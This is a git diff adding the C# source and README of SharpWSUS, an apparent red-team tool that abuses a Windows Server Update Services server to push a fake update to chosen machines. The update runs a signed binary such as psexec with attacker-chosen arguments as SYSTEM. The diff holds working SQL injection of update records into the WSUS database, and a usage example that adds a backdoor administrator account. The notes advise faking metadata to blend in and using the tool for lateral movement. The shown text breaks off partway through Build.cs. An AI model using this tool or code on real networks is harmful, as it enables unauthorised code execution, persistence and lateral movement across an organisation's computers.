|__ __ _ _ __ _ _\ \ / / ___|| | | / ___| +\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ + ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | +|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ + |_| + Phil Keeble @ Nettitude Red Team + + +Commands listed below have optional parameters in <>. + +Locate the WSUS server: + SharpWSUS.exe locate + +Inspect the WSUS server, enumerating clients, servers and existing groups: + SharpWSUS.exe inspect + +Create an update (NOTE: The payload has to be a windows signed binary): + SharpWSUS.exe create /payload:[File location] /args:[Args for payload] + +Approve an update: + SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] + +Check status of an update: + SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] + +Delete update and clean up groups added: + SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] +``` + +## Example Usage + +``` +sharpwsus locate + +sharpwsus inspect + +sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com" + +sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" + +sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local + +sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" +``` + +## Notes + +* Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement. +* The metadata on the create command is not needed, but is useful for blending in to the environment. +* If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not) \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS.sln b/repos/SharpWSUS/SharpWSUS.sln new file mode 100644 index 000000000..ccf4af5e8 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31410.357 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWSUS", "SharpWSUS\SharpWSUS.csproj", "{42CABB74-1199-40F1-9354-6294BBA8D3A4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B90B58CF-CCFC-47BB-A4B4-E2F83FD868BA} + EndGlobalSection +EndGlobal diff --git a/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs new file mode 100644 index 000000000..3a5842c1b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace SharpWSUS.Args +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + arguments[argument] = string.Empty; + } + } + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs new file mode 100644 index 000000000..b9c806cc4 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace SharpWSUS.Args +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs b/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs new file mode 100644 index 000000000..a9791af88 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs @@ -0,0 +1,49 @@ +using System; +using System.Collections.Generic; +using SharpWSUS.Commands; + +namespace SharpWSUS.Args +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Create.CommandName, () => new Create()); + _availableCommands.Add(Approve.CommandName, () => new Approve()); + _availableCommands.Add(Check.CommandName, () => new Check()); + _availableCommands.Add(Delete.CommandName, () => new Delete()); + _availableCommands.Add(Inspect.CommandName, () => new Inspect()); + _availableCommands.Add(Locate.CommandName, () => new Locate()); + + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Args/Info.cs b/repos/SharpWSUS/SharpWSUS/Args/Info.cs new file mode 100644 index 000000000..2f187336b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/Info.cs @@ -0,0 +1,55 @@ +using System; + +namespace SharpWSUS.Args +{ + public static class Info + { + public static void ShowLogo() + { + string logo = @" + ____ _ __ ______ _ _ ____ +/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| +\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ + ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | +|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ + |_| + Phil Keeble @ Nettitude Red Team +"; + Console.WriteLine(logo); + } + + public static void ShowUsage() + { + string usage = @" +Commands listed below have optional parameters in <>. + +Locate the WSUS server: + SharpWSUS.exe locate + +Inspect the WSUS server, enumerating clients, servers and existing groups: + SharpWSUS.exe inspect + +Create an update (NOTE: The payload has to be a windows signed binary): + SharpWSUS.exe create /payload:[File location] /args:[Args for payload] + +Approve an update: + SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] + +Check status of an update: + SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] + +Delete update and clean up groups added: + SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] + +##### Examples ###### +Executing whoami as SYSTEM on a remote machine: + SharpWSUS.exe inspect + SharpWSUS.exe create /payload:""C:\Users\Test\Documents\psexec.exe"" /args:""-accepteula -s -d cmd.exe /c """"whoami > C:\test.txt"""""" /title:""Great Update"" /date:2021-10-03 /kb:500123 /rating:Important /description:""Really important update"" /url:""https://google.com"" + SharpWSUS.exe approve /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" + SharpWSUS.exe check /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 + SharpWSUS.exe delete /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" +"; + Console.WriteLine(usage); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs b/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs new file mode 100644 index 000000000..2648f7b38 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs @@ -0,0 +1,81 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Approve : ICommand + { + + public static string CommandName => "approve"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Approve Update"); + + string UpdateID = ""; + string ComputerName = ""; + string GroupName = "InjectGroup"; + string Approver = "WUS Server"; + Group.GroupExists = false; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + if (arguments.ContainsKey("/groupname")) + { + GroupName = arguments["/groupname"]; + } + + if (arguments.ContainsKey("/approver")) + { + Approver = arguments["/approver"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + ClGuid.GenerateTargetGroupGUID(); + + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Group.FbGetGroupID(sqlComm, GroupName)) + { + return; + } + + Console.WriteLine("Group Exists = {0}", Group.GroupExists); + if (Group.GroupExists == false) + { + if (!Group.FbCreateGroup(sqlComm, GroupName)) + { + return; + } + } + + if (!Group.FbAddComputerToGroup(sqlComm, Server.sTargetComputerTargetID)) + { + return; + } + + if (!Status.FbApproveUpdate(sqlComm, UpdateID, Approver)) + { + return; + } + + Console.WriteLine("\r\n[*] Approve complete\r\n"); + return; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Check.cs b/repos/SharpWSUS/SharpWSUS/Commands/Check.cs new file mode 100644 index 000000000..406bf51c3 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Check.cs @@ -0,0 +1,46 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Check : ICommand + { + + public static string CommandName => "check"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Check Update"); + + string UpdateID = ""; + string ComputerName = ""; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Status.FbGetUpdateStatus(sqlComm, UpdateID)) + { + return; + } + + Console.WriteLine("\r\n[*] Check complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Create.cs b/repos/SharpWSUS/SharpWSUS/Commands/Create.cs new file mode 100644 index 000000000..36f84f98b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Create.cs @@ -0,0 +1,128 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Create : ICommand + { + + public static string CommandName => "create"; + public static int iRevisionID; + public static string PayloadPath = ""; + public static string PayloadArgs = ""; + public static string UpdateTitle = "SharpWSUS Update"; + public static string UpdateDate = "2021-09-26"; + public static string UpdateRating = "Important"; + public static string UpdateMSRC = ""; + public static string UpdateKB = "5006103"; + public static string UpdateDescription = "Install this update to resolve issues in Windows."; + public static string UpdateURL = @"https://www.nettitude.com"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Create Update"); + + if (arguments.ContainsKey("/payload")) + { + PayloadPath = arguments["/payload"]; + } + + if (arguments.ContainsKey("/args")) + { + PayloadArgs = arguments["/args"]; + } + + if (arguments.ContainsKey("/title")) + { + UpdateTitle = arguments["/title"]; + } + + if (arguments.ContainsKey("/date")) + { + UpdateDate = arguments["/date"]; + } + + if (arguments.ContainsKey("/rating")) + { + UpdateRating = arguments["/rating"]; + } + + if (arguments.ContainsKey("/msrc")) + { + UpdateMSRC = arguments["/msrc"]; + } + + if (arguments.ContainsKey("/kb")) + { + UpdateKB = arguments["/kb"]; + } + + if (arguments.ContainsKey("/description")) + { + UpdateDescription = arguments["/description"]; + } + + if (arguments.ContainsKey("/url")) + { + UpdateURL = arguments["/url"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + ClGuid.GenerateUpdateGUID(); + ClGuid.GenerateBundleGUID(); + + ClFile clFileData = new ClFile(PayloadPath, PayloadArgs, Server.sLocalContentCacheLocation, true); + + Console.WriteLine("[*] Creating patch to use the following:"); + Console.WriteLine("[*] Payload: {0}",ClFile.sFileName); + Console.WriteLine("[*] Payload Path: {0}", ClFile.sFilePath); + Console.WriteLine("[*] Arguments: {0}", PayloadArgs); + Console.WriteLine("[*] Arguments (HTML Encoded): {0}", ClFile.sArgs); + + if (!Enum.FbGetWSUSConfigSQL(sqlComm)) + { + return; + } + if (!Build.FbImportUpdate(sqlComm)) + { + return; + } + if (!Build.FbPrepareXMLtoClient(sqlComm)) + { + return; + } + if (!Build.FbInjectUrl2Download(sqlComm)) + { + return; + } + if (!Build.FbDeploymentRevision(sqlComm)) + { + return; + } + if (!Build.FbPrepareBundle(sqlComm)) + { + return; + } + if (!Build.FbPrepareXmlBundleToClient(sqlComm)) + { + return; + } + if (!Build.FbDeploymentRevision(sqlComm)) + { + return; + } + + Console.WriteLine("\r\n[*] Update created - When ready to deploy use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe approve /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); + Console.WriteLine("\r\n[*] To check on the update status use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe check /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN"); + Console.WriteLine("\r\n[*] To delete the update use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe delete /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); + Console.WriteLine("\r\n[*] Create complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs b/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs new file mode 100644 index 000000000..9ec782506 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs @@ -0,0 +1,81 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Delete : ICommand + { + + public static string CommandName => "delete"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Delete Update"); + + string UpdateID = ""; + string ComputerName = ""; + string GroupName = "InjectGroup"; + bool KeepGroup = false; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + if (arguments.ContainsKey("/groupname")) + { + GroupName = arguments["/groupname"]; + } + + if (arguments.ContainsKey("/keepgroup")) + { + KeepGroup = true; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + + if (!Status.FbDeleteUpdate(sqlComm, UpdateID)) + { + return; + } + + if (ComputerName != "") + { + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Group.FbGetGroupID(sqlComm, GroupName)) + { + return; + } + + if (!Group.FbRemoveComputerFromGroup(sqlComm, Server.sTargetComputerTargetID)) + { + return; + } + + if (KeepGroup == false) + { + if (!Group.FbRemoveGroup(sqlComm)) + { + return; + } + } + } + + Console.WriteLine("\r\n[*] Delete complete\r\n"); + + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs b/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs new file mode 100644 index 000000000..afca6326a --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs b/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs new file mode 100644 index 000000000..55f1bcb24 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs @@ -0,0 +1,31 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Inspect : ICommand + { + + public static string CommandName => "inspect"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Inspect WSUS Server"); + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + Enum.FbGetWSUSConfigSQL(sqlComm); + + Enum.FbEnumAllComputers(sqlComm); + + Enum.FbEnumDownStream(sqlComm); + + Enum.FbEnumGroups(sqlComm); + + Console.WriteLine("\r\n[*] Inspect complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs b/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs new file mode 100644 index 000000000..6de283539 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs @@ -0,0 +1,21 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Locate : ICommand + { + + public static string CommandName => "locate"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Locate WSUS Server"); + + Enum.FbGetWSUSServer(); + + Console.WriteLine("\r\n[*] Locate complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Program.cs b/repos/SharpWSUS/SharpWSUS/Program.cs new file mode 100644 index 000000000..6bbf3694b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Program.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using SharpWSUS.Args; + +namespace SharpWSUS +{ + class Program + { + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + + Info.ShowLogo(); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpWSUS exception:\r\n"); + Console.WriteLine(e); + } + } + + public static void Main(string[] args) + { + // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + MainExecute(commandName, parsed.Arguments); + + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs b/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..e8025809e --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpWSUS")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpWSUS")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("42cabb74-1199-40f1-9354-6294bba8d3a4")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj b/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj new file mode 100644 index 000000000..19af69a68 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj @@ -0,0 +1,74 @@ + + + + + Debug + AnyCPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4} + Exe + SharpWSUS + SharpWSUS + v4.0 + 512 + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/app.config b/repos/SharpWSUS/SharpWSUS/app.config new file mode 100644 index 000000000..fcd0c9373 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/app.config @@ -0,0 +1,3 @@ + + + diff --git a/repos/SharpWSUS/SharpWSUS/lib/Build.cs b/repos/SharpWSUS/SharpWSUS/lib/Build.cs new file mode 100644 index 000000000..7e84f7488 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Build.cs @@ -0,0 +1,245 @@ +using System; +using System.Text; +using System.Data.SqlClient; +using SharpWSUS.Commands; + +public class Build +{ + + public static bool FbImportUpdate(SqlCommand sqlCommFun) + { + System.Data.DataTable dtDataTbl = new System.Data.DataTable(); + SqlDataReader sqldrReader; + StringBuilder sbUpdate = new StringBuilder(); + + sbUpdate.AppendLine(@"declare @iImported int"); + sbUpdate.AppendLine(@"declare @iLocalRevisionID int"); + sbUpdate.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); + sbUpdate.AppendLine(@""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @"en"); + sbUpdate.AppendLine("\t\t\t" + @"Windows-Update"); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @"" + ClFile.sSHA256 + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine(@"',"); + sbUpdate.AppendLine(@"@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); + sbUpdate.AppendLine(@"select @iImported,@iLocalRevisionID"); + sqlCommFun.CommandText = sbUpdate.ToString(); + + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + dtDataTbl.Load(sqldrReader); + Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; + + if (Create.iRevisionID == 0) + { + Console.WriteLine("Error importing update"); + sqldrReader.Close(); + return false; + } + + Console.WriteLine("ImportUpdate"); + Console.WriteLine("Update Revision ID: {0}", Create.iRevisionID); + + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbImportUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareXMLtoClient(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbXMLClient = new StringBuilder(); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL"); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,4,N'<LocalizedProperties><Language>en</Language><Title>Windows-Update</Title></LocalizedProperties>',NULL,'en'"); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""" + ClFile.lSize + @""" MinDownloadSize=""" + ClFile.lSize + @"""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""" + ClFile.sSHA1 + @""" DigestAlgorithm=""SHA1"" FileName=""" + ClFile.sFileName + @""" Size=""" + ClFile.lSize + @""" Modified=""" + Create.UpdateDate + @"T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">" + ClFile.sSHA256 + @"</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""" + ClFile.sArgs + @""" Program=""" + ClFile.sFileName + @""" RebootByDefault=""false"" DefaultResult=""Succeeded""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""-1"" /></InstallCommand></HandlerSpecificData>',NULL"); + sqlCommFun.CommandText = sbXMLClient.ToString(); + try + { + Console.WriteLine("PrepareXMLtoClient"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareXMLtoClient."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareXmlBundleToClient(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbXMLBundle = new StringBuilder(); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gBundle + @""" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /></BundledUpdates></Relationships>',NULL"); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,4,N'<LocalizedProperties><Language>en</Language><Title>" + Create.UpdateTitle + @"</Title><Description>" + Create.UpdateDescription + @"</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>" + Create.UpdateURL + @"</MoreInfoUrl><SupportUrl>" + Create.UpdateURL + @"</SupportUrl></LocalizedProperties>', NULL, 'en'"); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""" + Create.UpdateRating + @""" IsBeta=""false""><SupportUrl>" + Create.UpdateURL + @"</SupportUrl><SecurityBulletinID>" + Create.UpdateMSRC + @"</SecurityBulletinID><KBArticleID>" + Create.UpdateKB + @"</KBArticleID></ExtendedProperties>',NULL"); + sqlCommFun.CommandText = sbXMLBundle.ToString(); + try + { + Console.WriteLine("PrepareXMLBundletoClient"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareXmlBundleToClient."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbInjectUrl2Download(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbDownloadURL = new StringBuilder(); + string sDownloadURLexec = string.Empty; + if (Server.bSSL == true) + { + sDownloadURLexec = @"https://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; + } + else if (Server.bSSL == false) + { + sDownloadURLexec = @"http://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe"; + } + else + { + return false; + } + + sbDownloadURL.AppendLine(@"exec spSetBatchURL @urlBatch =N''"); + sqlCommFun.CommandText = sbDownloadURL.ToString(); + try + { + Console.WriteLine("InjectURL2Download"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } 